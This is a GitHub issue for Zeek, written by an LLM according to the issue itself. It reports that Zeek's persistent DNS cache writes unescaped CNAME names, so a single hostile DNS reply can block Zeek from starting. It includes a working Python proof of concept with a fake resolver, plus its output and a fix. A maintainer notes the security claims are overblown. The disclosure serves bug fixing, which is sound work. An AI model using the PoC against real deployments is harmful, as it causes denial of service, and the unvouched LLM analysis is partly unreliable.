Persistent DNS cache with `-P` can write invalid lines and block startup
This was originally opened as a security issue, but the team decided that it's not relevant from a security context. It is, however, a bug. Its security claims are overblown, but I did not edit most of them. This requires a relatively obscure option -P, and a DNS server to give a particular response, so it's not classified as a security issue.
This issue was generated entirely by an LLM.
Summary
When Zeek persists its DNS cache (zeek -P / DNS_PRIME mode), DNS_Mapping::Save() writes the
resolved name (names[0]) with a bare %s into a whitespace-delimited record line, with no
escaping. A hostile DNS server answering Zeek's own A/AAAA or PTR lookups can return a CNAME
target (or PTR DNAME) containing literal space characters — c-ares passes 0x20 through
unescaped, since it is printable and not in its reserved-character set. On the next startup the
cache is reloaded unconditionally and re-tokenised with sscanf (%512s is
whitespace-delimited), so the attacker-chosen tokens shift into the numeric fields: with a
CNAME label like "0 1 999999999 0", num_addrs becomes 999999999, the address loop consumes
the rest of the file, hits EOF with init_failed == true, and DNS_Mgr::LoadCache() calls
reporter->FatalError("DNS cache corrupted"). Zeek then refuses to start until the operator
deletes the cache file — a persistent denial of service planted by one DNS reply.
Technical details
Sink — src/DNS_Mapping.cc:154-160 (DNS_Mapping::Save):
names[0] is embedded unquoted into a space-separated record. The reload parser,
DNS_Mapping::DNS_Mapping(FILE*) at src/DNS_Mapping.cc:52-53, re-tokenises the line:
%512s stops at whitespace, so spaces inside names[0] shift the subsequent
attacker-controlled tokens into req_type, num_addrs, and req_ttl. num_addrs is not
bounded; the loop at DNS_Mapping.cc:67-69 then fgets()s that many lines and returns early
on EOF with init_failed still true and no_mapping false. DNS_Mgr::LoadCache()
(src/DNS_Mgr.cc:1033-1034) turns exactly that state into:
Source — attacker-controlled name with embedded spaces:
- During
zeek -P, script lookups go through Zeek's resolver via c-ares. A reply whose answer section ispoisoned.test CNAME <label>+ an A/AAAA record makes c-ares setares_addrinfo->nameto the CNAME target (ares_parse_into_addrinfo.c). - CNAME/PTR rdata names are parsed with
is_hostname = ARES_FALSE; inares_fetch_dnsname_into_buf(auxil/c-ares/src/lib/record/ares_dns_name.c) bytes passingares_isprint(0x20-0x7E) that are not inis_reservedch(ares_dns_name.c:477-494: only" . ; \ ( ) @ $) are emitted verbatim — space is not escaped. addrinfo_cb(src/DNS_Mgr.cc) copiesresult->nameintoh_name;DNS_Mapping::Initstores it asnames[0]with no sanitisation;Save()writes it raw. (The TXT path inquery_cbcopies raw bytes intoh_nameas well and reaches the same sink.)Save()runs whenzeek -Pcompletes;LoadCache()runs unconditionally on every startup (src/DNS_Mgr.cc:543).
With CNAME target label 0 1 999999999 0 (a single DNS label containing raw 0x20 bytes), the
saved header line becomes:
<ts> 1 poisoned.test 0 0 1 999999999 0 <real_type> <real_naddrs> <real_ttl>and reload parses name_buf="0", req_type=1, num_addrs=999999999, req_ttl=0.
Reproduction
Self-contained PoC: starts a fake resolver on 127.0.0.1:15353 that answers with the malicious
CNAME, primes the cache with zeek -P, then restarts Zeek to demonstrate the fatal error.
Pass --control to use a benign CNAME target instead (clean restart).
#!/usr/bin/env python3
# DNS cache record injection (DNS_Mapping.cc:155) -> "DNS cache corrupted" on restart.
# Usage: poc.py <zeek-binary> <workdir> [--control] (needs scapy)
import os, socket, subprocess, sys, threading
from scapy.all import DNS, DNSQR, DNSRR
RESOLVER = ("127.0.0.1", 15353)
EVIL_NAME = b"0 1 999999999 0" # single DNS label with raw 0x20 bytes
BENIGN_NAME = b"benign-target.test"
def dns_server(sock, cname_target, stop):
while not stop.is_set():
try:
data, addr = sock.recvfrom(4096)
except socket.timeout:
continue
q = DNS(data)
qname, qtype = q.qd.qname, q.qd.qtype
an = [DNSRR(rrname=qname, type="CNAME", ttl=60, rdata=cname_target)]
if qtype == 1: # A
an.append(DNSRR(rrname=cname_target, type="A", ttl=60, rdata="6.6.6.6"))
elif qtype == 28: # AAAA
an.append(DNSRR(rrname=cname_target, type="AAAA", ttl=60, rdata="dead::beef"))
sock.sendto(bytes(DNS(id=q.id, qr=1, aa=1, rd=q.rd, ra=1, qd=q.qd, an=an)), addr)
def main():
zeek, workdir = sys.argv[1], sys.argv[2]
target = BENIGN_NAME if "--control" in sys.argv else EVIL_NAME
os.makedirs(os.path.join(workdir, ".state"), exist_ok=True)
script = os.path.join(workdir, "prime.zeek")
with open(script, "w") as f:
f.write('global a = blocking_lookup_hostname("poisoned.test");\nprint a;\n')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind(RESOLVER)
sock.settimeout(0.2)
stop = threading.Event()
t = threading.Thread(target=dns_server, args=(sock, target, stop), daemon=True)
t.start()
env = dict(os.environ, ZEEK_DNS_RESOLVER=f"{RESOLVER[0]}:{RESOLVER[1]}")
r = subprocess.run([zeek, "-P", "-b", script], cwd=workdir, env=env,
capture_output=True, text=True, timeout=120)
print("prime exit:", r.returncode)
stop.set(); t.join(); sock.close()
with open(os.path.join(workdir, ".state", ".zeek-dns-cache")) as f:
print("cache file:\n" + f.read())
r2 = subprocess.run([zeek, "-b", "-e", 'print "zeek started ok";'],
cwd=workdir, env=env, capture_output=True, text=True, timeout=120)
print("restart exit:", r2.returncode)
print(r2.stdout, r2.stderr)
if __name__ == "__main__":
main()Run:
python3 poc.py /path/to/zeek /tmp/zeek-dns-cache-poc # poisoned
python3 poc.py /path/to/zeek /tmp/zeek-dns-cache-control --control # benign controlThe same parser behavior can occer when cached DNS data contains whitespace in the persisted name field.
Observed results
Release build (RelWithDebInfo). Poisoned run:
prime exit: 0
cache file (.state/.zeek-dns-cache):
1
1785868286 1 poisoned.test 0 0 1 999999999 0 1 2 60
dead::beef
6.6.6.6
restart exit: 1
fatal error in <command line>, line 3: DNS cache corruptedThe injected name 0 1 999999999 0 shifted the fields: reload parses name_buf="0",
req_type=1, num_addrs=999999999; the real trailing fields 1 2 60 are left past the 8
matched conversions; the address loop swallows the remaining lines and EOFs → FatalError.
Control run (benign CNAME target benign-target.test):
prime exit: 0
cache file:
1
1785868287 1 poisoned.test 0 benign-target.test 1 2 60
dead::beef
6.6.6.6
restart exit: 0
zeek started okSuggested fix
[!NOTE] This was generated by an LLM. I do not vouch for its validity.
Sanitise or encode names[0] (and req_host) when persisting the cache: reject or escape any
byte <= 0x20 (or any non-hostname character), or switch the record to a length-prefixed/quoted
encoding so embedded whitespace cannot shift sscanf field positions. Independently, clamp
num_addrs read from the cache to a sane maximum before the read loop, and treat a truncated
record as no_mapping (skip) rather than a fatal startup error.
Source: zeek/zeek